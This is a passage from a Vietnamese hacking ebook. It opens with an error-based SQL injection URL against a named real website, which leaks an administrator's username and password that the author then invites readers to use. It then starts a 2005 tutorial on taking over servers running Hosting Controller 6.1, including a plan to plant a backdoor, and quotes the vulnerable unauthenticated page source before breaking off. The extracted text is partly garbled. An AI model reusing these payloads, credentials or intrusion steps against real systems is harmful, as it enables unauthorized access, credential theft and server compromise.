Hacker Professional Ebook part 305 pdf

Hosting Controller phiên bản 6.1 - Hot Fix 2.1 Trước khi đi vào vấng đề tôi có một vài lời muốn nói với các bạn : "Tài liệu này tôi viết nhằm mục đích nghiên cứu và học hỏi vì vậy tôi kh

vnmotors.com.vn/motor/HotStuff/DisplayNews.asp?NewsID=41%20and%201=co nvert(int,(s

elect%20top%201%20LoGinName%2b'/'%2bPassword%20from%20NguoiQuanT ri))

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'manager/kimanh' to a column of data type int

/motor/HotStuff/DisplayNews.asp, line 118

Ò dé User là 'manager và password sẽ là kimanh' Bạn Login đi he hehehe

!

langtuhaohoa-HCE

Hosting Controler hacking !

Author : Kehieuhoc

Website : http://www.HCEGroup.net

Mức Độ : Cực kì nguy hiểm

date : 12/04/2005

Điều có thể sảy ra từ bug này : Chiếm cả Serv

Chào các bạn !

Hôm nay chúng ta sẽ cùng nghiên cứu cách xâm nhập vào một Server sử dụng

Hosting Controller phiên bản 6.1 - Hot Fix 2.1

Trước khi đi vào vấng đề tôi có một vài lời muốn nói với các bạn :

"Tài liệu này tôi viết nhằm mục đích nghiên cứu và học hỏi vì vậy tôi không chịu bất cứ trách nhiệm nào về việc làm của bạn khi áp dụng những gì tôi viết dưới đây" Mục lục : bài viết này gồm 3 phần :

- Phần I : " Tấn công từ bên ngoài - Tạo Account trên HC

- Phần II : " Login với quyền Host Admin "

- Phần III : " Đột nhập vào Server - Cài Backdoor

Phần I : " Tấn công từ bên ngoài - Tạo Account trên HC " -

I) Sơ lượt về HC

- Như các bạn đã biết Hosting Controller (HC) là sản phẩm nổi tiếng của

HostingController.com được sử dụng rộng rãi trên thế giới Nó giúp cho ta thuận lợi và dễ dàng quản lý Host

II) Tìm Bug và phân tích Bug

1) Cách tìm bug :

- Vì Hosting Controller cho phép chúng download về dùng thử vì vậy rất thuận lợi cho tôi trong quá trình tìm bug -> tôi đã download về sau đó cài đặt trên local và xem source của nó !

- Nhưng source của nó thì nhiều quá -> khó mà xem hết ! -> vì vậy tôi chỉ xem những file nào mà không có kiễm tra người dùng khi truy xuất tới nó

Ví dụ: if session("login") <> "true" then response.Redirect("login.asp")

-> ở HC tôi sẽ tìm những file nào không có đoạn như dzầy : "<! #include

FILE=" /common/inc_sessioncheck.asp" >"

- Tìm xong tôi liệt kê danh sách các file đó và bắt đầu đọc source của từng file để tìm bug

- Trong lúc đang đọc source nhớ lại cách đây vài tháng HC có một bug cho phép chúng ta tao Account có quyền user , hình như bug ở file này thì phải : "

addsubsite.asp " -> ở Hot Fix 2.1 thì HC đã được fix rùi -> nhưng chưa chắc gì thằng này đã fix triệt để ! -> tấn công vào nó thử coi !

> tôi liền lục lại danh sách những file mình đã liêt kê lúc nãy Nhưng lần này tôi lại lọc chọn ra một lần nữa -> chỉ xem những file có liên quan đến chức năng tạo Account cho HC !

- Lọc chọn xong tôi lên lại danh sách -> lần này số lượng không nhiều nữa -> nên tôi rất dễ đọc source !

- Nhìn vào những cái file mình chuẩn bị đọc , tôi chợt thấy cái file này "

addsubsite_online.asp " và chú ý đến nó -> nhưng chắc có lẽ bạn sẽ thắc mắc tại sao lại chú ý đến nó ! -> đơn giản vì nó có cái tên liên quan đến file

"addsubsite.asp" (Hi hi , tính tò mò ) -> vì vậy tôi liền mở nó ra xem !

- Sau một vài phút xem source , kết quả đã không làm tôi thất vọng !

2) Phân tích bug :

- Chúng ta hãy cùng xem source của file : "addsubsite_online.asp"

QUOTE

<%@ Language=VBScript %>

<%

set AdminObj = server.CreateObject("AdvAdmin.AccountAdmin")

Response.Expires = -1

Response.Buffer= true

'htype is the hosting package type chosen by the customer

htype = T(Request.Form("htype"))

choice = Request.QueryString("choice")

'obtain the database handle

Dim Obj

Session("domainDSN") = Request("domainDSN")

RegConnString = AdminObj.GetStrAdvReg("General","ConnString") Application("Connection1_ConnectionString") = RegConnString

Set Obj = Server.CreateObject("ADODB.Connection")

Obj.open RegConnString

if htype = 1 then

Session("AdminName") = "BASIC_RESELLER"

else

Session("AdminName") = "ADVANCED_RESELLER"

end if

AdminName = Session("AdminName")

AdminLevel = "reseller"

Session("AdminLevel") = "reseller"

NAdminLevel = "webadmin"

%>

<! #include FILE=" /common/inc_newuser.asp" >

<! #include FILE=" /common/inc_mailmax.asp" >

<! #include FILE=" /common/inc_siteadd.asp" >

<! #include FILE=" /common/inc_Quota.asp" >

<! #include FILE=" /common/inc_addsitemail.asp" >

<! #include FILE=" /common/inc_dns.asp" >

<! #include FILE=" /common/inc_binddns.asp" >

<! #include FILE=" /common/inc_diskquota.asp" >

<! #include FILE=" /common/ipchoice.asp" >

<%

& #39;==============================================

==============================

======

'Global Variables

-> các bạn thấy đó chẳng có gì cản trở ta khi người dùng truy xuất tới nó

QUOTE

On error resume next

Dim Domain

Dim AdminObj

Dim Result

Dim UserName

Dim Password

Dim NewDomain

Dim Email

Dim PrmDomain,SecDomain

Dim BaseStr

Dim ThirdLevelDomain,ThirdLevel

Dim NewIPAddress

Dim RetPath

dim EmailAccess

Dim EmailServer

Dim QuotaLimit

Dim AdminName,dwResult

Dim IPLessCheckBox

IPLessCheckBox = "YES"

Domain = AdminObj.GetMachineName

'it is a second level domain

if Request.QueryString("choice") = 1 then

NewDomain = T(Request.Form("DomainName"))

PrmDomain = NewDomain

SecDomain = "NULL"

ThirdLevelDomain = 0

ThirdLevel = "FALSE"

end if

'collect all form variables

UserName = T(Request.Form("loginname"))

Password = T(Request.Form("password"))

first_name = T(Request.Form("first_name"))

last_name = T(Request.Form("last_name"))

EmailAccess = T(Request.Form("mailaccess")) EmailServer = T(Request.Form("MailServerType")) QuotaLimit = T(Request.Form("Quota"))

birthmonth = T(Request.Form("month"))

birthyear = T(Request.Form("year"))

birthday = T(Request.Form("day"))

existingemail = T(Request.Form("email"))

gender = T(Request.Form("gender"))

country = T(Request.Form("country"))

state = T(Request.Form("state"))

city = T(Request.Form("city"))

address = T(Request.Form("address"))